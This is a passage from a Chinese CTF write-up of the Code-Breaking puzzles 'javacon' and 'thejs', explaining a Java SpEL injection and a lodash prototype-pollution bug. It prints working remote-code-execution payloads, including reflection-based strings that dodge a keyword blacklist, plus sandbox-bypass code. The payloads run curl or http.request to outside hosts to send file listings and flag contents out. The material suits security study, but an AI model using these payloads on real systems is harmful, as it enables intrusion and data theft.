SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
ChallengeApplication 用于启动
Encryptor 加密解密工具类
KeyworkProperties 使用黑名单时需要
UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor
引用自:http://rui0.cn/archives/1015

主要从MainController开始看其功能实现

此处的了漏洞主要是SpEL表达式问题,但是因为有黑名单的限制,所以需要利用反射来拼接payload达到绕过的目的。

常规rce方式

1
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator")

利用反射拼接的方式

1
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://i.zeye.xyz/test");

PS: 一个坑点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以

1
new String[]{"/bin/bash\","-c","xxxxx"}

之后构造的payload如下

1
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://i.zeye.xyz/`cd / && ls|base64|tr '\\n' '-'`\"})}"));

最终利用payload如下

1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl http://i.zeye.xyz/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}

参考:《Code-Breaking Puzzles — javacon WriteUp》

0x08 thejs

1. 漏洞相关知识点

原型链污染,因为JavaScript是使用原型链机制来实现继承的,因此就可能会在能够控制数组(对象)的“键名”的操作处存在可污染点。

详细分析参考:《深入理解 JavaScript Prototype 污染攻击》

2. 题目解答

如果想要修改父对象的原型,有如下两种方式

  1. inst.constructor.prototype
  2. inst.__proto__
    那么推广一下的话,又有如下两种方式
  3. inst[constructor][prototype][]
  4. inst[__proto__][]
    所以也就是说只要找对数组进行操作的地方,我们就有可能完成对原型的污染。但是还要注意的是想办法赋值的__proto__对象并不是真正的这个对象,所以想要写到真正的__proto__中,我们需要一层赋值。

所以接下来构造攻击链的思路是: 找到一个未定义的变量,但是这个变量要在后面被调用。

经过分析发现sourceURL是未定义的。

程序中只有一个输入点也就是req.body,之后经过lodash.merge将两个对象进行合并

后面可以看到sourceURL在判断中被调用

因而成功造成原型链污染,之后在模板渲染中的Function函数中将造成任意代码执行,我们可以在控制台中简单测试一下

一般来说,nodejs中可以直接通过require导入包来达到rce的效果,如下所示

1
global.require("child_process").execSync("whoami").toString()

但是此题环境中有沙箱对此进行了限制,因此如下payload是无法成功的。需要对沙箱环境进行bypass
payload

1
{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.require('child_process').execSync('whoami').toString()}\r\n"}}

效果

bypass的payload可以参考这篇文章

https://xz.aliyun.com/t/4361

最终构造两个payload如下所示

1
{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()}\r\n"}}
1
{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://xxxx.ceye.io/${result}`);req.end();\r\n"}}

此处还有一个小细节,就是原型链污染之后,除非重启环境,否则攻击效果一直都在,也就是你读取的flag将一直显示在网页上,所以必须在污染之后将变量恢复,省的泄露我们的flag。(这也就是上面for循环进行delete的原因)

3. 参考

《深入理解 JavaScript Prototype 污染攻击》

《Code Breaking挑战赛 Writeup》

《JavaScript Prototype 污染攻击 之 Code-Breaking-TheJS篇》

0x09 picklecode

害,这个先不写了,有时间再补吧